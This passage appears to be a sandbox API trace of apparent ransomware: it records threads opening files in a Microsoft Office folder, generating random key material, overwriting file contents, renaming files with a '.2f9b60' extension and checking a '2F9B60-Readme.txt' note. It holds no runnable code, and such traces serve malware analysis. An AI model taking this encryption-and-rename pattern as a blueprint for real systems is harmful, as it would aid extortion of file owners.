RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feec0) returned 1 [0144.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee90) returned 1 [0144.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce229e0 [0144.894] wcscat (in: _Dest=0x1ce229e0, _Source="4fe5abf7a79e616f652f0f897e98e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4fe5abf7a79e616f652f0f897e98e") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4fe5abf7a79e616f652f0f897e98e" [0144.894] wcscat (in: _Dest=0x1ce229e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4fe5abf7a79e616f652f0f897e98e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4fe5abf7a79e616f652f0f897e98e.2f9b60" [0144.894] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4fe5abf7a79e616f652f0f897e98e.2f9b60", NtPathName=0x3abcf730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\4fe5abf7a79e616f652f0f897e98e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4205f020 [0144.894] NtSetInformationFile (FileHandle=0x1f9c, IoStatusBlock=0x3abcf7d0, FileInformation=0x4205f020, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0146.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f020) returned 1 [0146.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050510) returned 1 [0146.825] NtQueryInformationFile (in: FileHandle=0x1f9c, IoStatusBlock=0x3abcf798, FileInformation=0x3abcf7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3abcf798, FileInformation=0x3abcf7a8) returned 0x0 [0146.825] NtSetInformationFile (FileHandle=0x1f9c, IoStatusBlock=0x3abcf798, FileInformation=0x3abcf7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0148.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce229e0) returned 1 [0148.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e580) returned 1 [0148.237] FlushFileBuffers (hFile=0x1f9c) returned 1 [0148.252] CloseHandle (hObject=0x1f9c) returned 1 [0162.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c22240 [0162.919] wcscpy (in: _Dest=0x42c22240, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0162.919] wcscat (in: _Dest=0x42c22240, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0162.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0162.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22240) returned 1 [0162.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8616a0) returned 1 Thread: id = 2166 os_tid = 0x1568 [0140.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 0x20 [0140.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL", dwFileAttributes=0x20) returned 1 [0140.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f88 [0144.743] GetFileSizeEx (in: hFile=0x1f88, lpFileSize=0x22d4f660 | out: lpFileSize=0x22d4f660*=13696) returned 1 [0144.743] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x357c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.743] ReadFile (in: hFile=0x1f88, lpBuffer=0x22d4f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22d4f628, lpOverlapped=0x0 | out: lpBuffer=0x22d4f5e0*, lpNumberOfBytesRead=0x22d4f628*=0x4, lpOverlapped=0x0) returned 1 [0144.765] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.766] NtQuerySystemTime (in: CurrentTime=0x22d4f520 | out: CurrentTime=0x22d4f520*=132462177500014000) returned 0x0 [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0xabbc55a [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x1bb8838 [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x20d8d879 [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x75debf9c [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x5e9a0634 [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x30d63e31 [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0xb8c4802 [0144.766] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x6e7ae3a4 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x6a79bef5 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x6f02158d [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x4d499a89 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x5c6f29ea [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x7eeef42 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x17ac8bc4 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x8360772 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x28efe58f [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0xfc1d6d6 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x685909ed [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x26e13404 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x403e7dc8 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0xa66d398 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x373f5988 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x1ccec990 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x73490057 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x3c816aa5 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x2a23d076 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x4a2325d5 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x71332d1e [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x7f341732 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x7e1f994b [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x7d86a028 [0144.767] RtlRandomEx (in: Seed=0x22d4f510 | out: Seed=0x22d4f510) returned 0x5b225695 [0144.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0144.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0144.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0144.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0144.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0144.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422cc5b0 [0144.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d01c0 [0144.779] ReadFile (in: hFile=0x1f88, lpBuffer=0x422cc5b0, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x22d4f510, lpOverlapped=0x0 | out: lpBuffer=0x422cc5b0*, lpNumberOfBytesRead=0x22d4f510*=0x3580, lpOverlapped=0x0) returned 1 [0144.826] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.826] WriteFile (hFile=0x1f88, lpBuffer=0x422d01c0, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x22d4f514, lpOverlapped=0x0) [0179.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c50 [0179.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bf0 [0179.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bf0) returned 1 [0179.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d01c0) returned 1 [0179.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422cc5b0) returned 1 [0179.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0179.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0179.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f430 [0179.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0179.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0179.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bf0 [0180.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bf0) returned 1 [0180.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9faf0 [0180.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bf0 [0180.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e00 [0180.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0e00) returned 1 [0180.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0180.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0180.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c21260 [0180.002] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.002] WriteFile (in: hFile=0x1f88, lpBuffer=0x42c21260*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x22d4f630, lpOverlapped=0x0 | out: lpBuffer=0x42c21260*, lpNumberOfBytesWritten=0x22d4f630*=0x11a, lpOverlapped=0x0) returned 1 [0206.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0206.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d10 [0206.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d10) returned 1 [0206.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a6d10 [0206.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ad0 [0206.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e20 [0206.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7e20) returned 1 [0206.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0206.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9d030 [0206.221] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="b6") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="5d") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="f8") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="1a") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="d9") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="98") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="bc") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="fa") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="2d") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="b3") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="09") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="42") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="4f") returned 2 [0206.221] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="99") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="63") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="27") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="eb") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="77") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="a3") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="e9") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="0f") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="5c") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="75") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="a5") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="83") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="65") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="ce") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="b3") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="47") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="b4") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="09") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="ab") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="7d") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="c3") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="3a") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="1c") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d07c, _Format="%c%c" | out: _Dest="cd") returned 2 [0206.222] sprintf (in: _Dest=0x1cd9d07e, _Format="%c%c" | out: _Dest="9d") returned 2 [0206.222] RtlInitAnsiString (in: DestinationString=0x22d4f6a8, SourceString="b65df81ad998bcfa2db309424f996327eb77a3e90f5c75a5835f65ceb347b409abc17dc33a1ccd9d" | out: DestinationString="b65df81ad998bcfa2db309424f996327eb77a3e90f5c75a5835f65ceb347b409abc17dc33a1ccd9d") [0206.223] RtlAnsiStringToUnicodeString (in: DestinationString=0x22d4f678, SourceString="b65df81ad998bcfa2db309424f996327eb77a3e90f5c75a5835f65ceb347b409abc17dc33a1ccd9d", AllocateDestinationString=1 | out: DestinationString="b65df81ad998bcfa2db309424f996327eb77a3e90f5c75a5835f65ceb347b409abc17dc33a1ccd9d") returned 0x0 [0206.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43131f30 [0206.223] wcscat (in: _Dest=0x20508d10, _Source="b65df81ad998bcfa2db3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b65df81ad998bcfa2db3") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b65df81ad998bcfa2db3" [0206.223] wcscat (in: _Dest=0x20508d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b65df81ad998bcfa2db3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b65df81ad998bcfa2db3.2f9b60" [0206.223] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b65df81ad998bcfa2db3.2f9b60", NtPathName=0x22d4f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\b65df81ad998bcfa2db3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x431ee160 Thread: id = 2167 os_tid = 0x156c [0140.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 0x20 [0140.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD", dwFileAttributes=0x20) returned 1 [0140.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dfc [0144.764] GetFileSizeEx (in: hFile=0x1dfc, lpFileSize=0x37affe00 | out: lpFileSize=0x37affe00*=1699) returned 1 [0144.764] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x69f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.764] ReadFile (in: hFile=0x1dfc, lpBuffer=0x37affd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37affdc8, lpOverlapped=0x0 | out: lpBuffer=0x37affd80*, lpNumberOfBytesRead=0x37affdc8*=0x4, lpOverlapped=0x0) returned 1 [0144.812] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee60 [0144.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.813] NtQuerySystemTime (in: CurrentTime=0x37affcc0 | out: CurrentTime=0x37affcc0*=132462177500482000) returned 0x0 [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x586dbbcc [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x7dcab72 [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0xdb0f2a8 [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x4d0ae21d [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x8197a0e [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x26dd5962 [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x565a4808 [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x79a59cb [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x78eee240 [0144.813] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x1ffe0827 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x7996a5a7 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x7725af7c [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x6662f36c [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x74f0b38e [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x68f7b1af [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x265ccf22 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x30541182 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x26b280a2 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x1ab05c [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x62a9ac8b [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x3022ef9e [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x2d15ee7a [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0xd762b65 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x30252466 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x3849531b [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x4b372942 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0xdb0f2a8 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x153c19af [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x16bb6a70 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x2227dc75 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x430d7010 [0144.814] RtlRandomEx (in: Seed=0x37affcb0 | out: Seed=0x37affcb0) returned 0x7f5bc318 [0144.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee30 [0144.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee00 [0144.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0144.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0144.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42322d00 [0144.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c89a0 [0144.825] ReadFile (in: hFile=0x1dfc, lpBuffer=0x42322d00, nNumberOfBytesToRead=0x6a3, lpNumberOfBytesRead=0x37affcb0, lpOverlapped=0x0 | out: lpBuffer=0x42322d00*, lpNumberOfBytesRead=0x37affcb0*=0x6a3, lpOverlapped=0x0) returned 1 [0144.825] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.825] WriteFile (in: hFile=0x1dfc, lpBuffer=0x422c89a0*, nNumberOfBytesToWrite=0x6a3, lpNumberOfBytesWritten=0x37affcb4, lpOverlapped=0x0 | out: lpBuffer=0x422c89a0*, lpNumberOfBytesWritten=0x37affcb4*=0x6a3, lpOverlapped=0x0) returned 1 [0161.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3620 [0161.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3650 [0161.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3650) returned 1 